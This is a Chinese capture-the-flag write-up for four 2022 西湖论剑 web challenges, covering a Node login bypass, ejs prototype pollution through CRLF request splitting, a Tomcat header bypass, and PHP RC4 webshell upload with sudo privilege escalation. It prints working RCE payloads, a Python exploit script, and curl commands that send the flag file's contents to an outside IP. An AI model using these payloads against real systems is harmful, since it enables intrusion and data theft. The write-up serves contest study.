目录
<1> [西湖论剑 2022] Node Magical Login
<2> [西湖论剑 2022] real_ez_node(ejs原型链污染&http拆分攻击)
<3> [西湖论剑 2022] 扭转乾坤 (RFC差异绕过header头内容限制)
<4> [西湖论剑 2022] unusual php(IDA拿rce密钥&利用rce密钥构造上传&sudo权限命令利用)
描述:一个简单的用nodejs写的登录站点(貌似暗藏玄机)
应该是比赛时题目给了源码,源码在:https://github.com/CTF-Archives/2022-xhlj-web-node_magical_login
main.js 部分源码
app.get("/flag1",(req,res) => {
controller.Flag1Controller(req,res)
})
app.get("/flag2",(req,res) => {
controller.CheckInternalController(req,res)
})
app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})
应该是有两个flag。flag1和flag2
再来看controller.js
部分源码
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}
根据源码可以知道,访问 / 路由时,即登陆界面,需要满足密码为 Math.random().toString() 随机数,才会给cookie设为SECRET_COOKIE。
访问/flag1路由时,如果cookie为SECRET_COOKIE 就会在返回头里设置flag1和flag2。 显然我们不知道这个随机数是什么,继续往下看。 当cookie 里user值为admin时,可以得到flag1
我们burp抓包,设置cookie访问一下/flag1 得到flag1:NSSCTF{0809d129-5fec
再看和 flag2有关的 CheckInternalController 和 CheckController函数:
function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})
}
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
这里如果传个 array 进去的话,调用 .toLowerCase()
用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function
,但是捕获异常这里直接就能跳过了
注:这里要用json格式发送checkcode, 同时 更改Content-Type: application/json
返回 flag2:-4169-8c16-3b47f0bb3218}
NSSCTF{0809d129-5fec-4169-8c16-3b47f0bb3218}
源码在:https://github.com/CTF-Archives/2022-xhlj-web-real_ez_node/
docker文件中可以看到 node版本是8.1.2,是存在http拆分攻击的(CRLF)
可以参考:初识HTTP响应拆分攻击(CRLF Injection)-安全客 - 安全资讯平台
routes/index.js
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;
看着一处代码:
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
这里过滤了 __proto__ ,猜测是考察原型链污染,__proto__
被过滤,使用constructor.prototype
绕过。
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
访问/copy的ip被限制,肯定就是要用 /curl
路由来构造 SSRF 打 /copy
路由下的 原型链污染了。
通过访问 /curl 利用HTTP走私向 /copy 发送POST请求,然后打ejs 污染原型链 实现代码执行
然后就是原型链污染,怎么污染呢?
可以看到存在render,并且使用了模板引擎为ejs
ejs原型链污染的payload如下
{
"__proto__":
{
"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('ls'); //"
}
}
题目里面过滤了__proto__,我们可以用constructor.prototype代替
再来看下这个safeobj.expand(user, index, req.body[index])
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
这里很明显用 safeobj.expand
把接收到的东西给放到 user 里了
跟进具体的函数实现
查看一下safeobj模块里的expand方法:
这个库里直接递归按照 .
做分隔写入 obj,很明显可以原型链污染
也就是我们传入{"a.b":"123"}会进行赋值a.b=123
将污染ejs的payload按上述方式转换为
{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"}
{"constructor.prototype.outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').exec('curl vps:port/`cat /flag.txt`')"}
exp脚本如下:
import requests
import urllib.parse
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 177
{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 43.143.172.74:12345/`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")
def encode(data):
ret = u""
for i in data:
ret += chr(0x0100 + ord(i))
return ret
payload = encode(payload)
print(urllib.parse.quote(payload))
加解密参考:从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击
不知道为什么没有通,可能是环境问题,,,,
------------------------------------------------- 分割线 ----------------------------------------------------------------
不是环境问题,经测试,Content-length字段必须符合 才可以弹
content-length可以这样计算
175字符+2(\n换行会被替换为 \r\n) 所以为:177
直接上传的话,提示
Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.
后端为tomcat,tomcat对于包解析并不是严格按照RFC中的标准,对一些异常的header头内容也会兼容。
利用RFC差异来绕过
修改为Content-Type为multipart//form-data;|大小写兼容|multipart|multipart/ form-data;
参考:从RFC规范看如何绕过waf上传表单 上篇-安全客 - 安全资讯平台
没有环境,,,看着wp写一些吧
在phpinfo里得到:
/usr/local/lib/php/extensions/no-debug-non-zts-20190902
读 /usr/local/lib/php.ini
在php.ini 找到了 ZendGuard 扩展的文件名 zend_test.so
?a=read&file=php://filter/read=convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so
读回来然后把无关的去掉,再丢进 ida,找到 RC4 函数,里面有秘钥(abcsdfadfjiweur)。
看起来解析的时候用 abcsdfadfjiweur
作为 key 然后 RC4 解密然后当成 php 去执行
于是我们传个 RC4 加密后的一句话马上去就好 , cyberchef网站
/etc/sudoers
不可读,但是有个 sudoers.bak
当前的 www-data 用户可以免密执行 chmod,那直接
sudo chmod 777 /flag
cat /flag
参考:西湖论剑·2022中国杭州网络安全技能大赛 部分WriteUp - 先知社区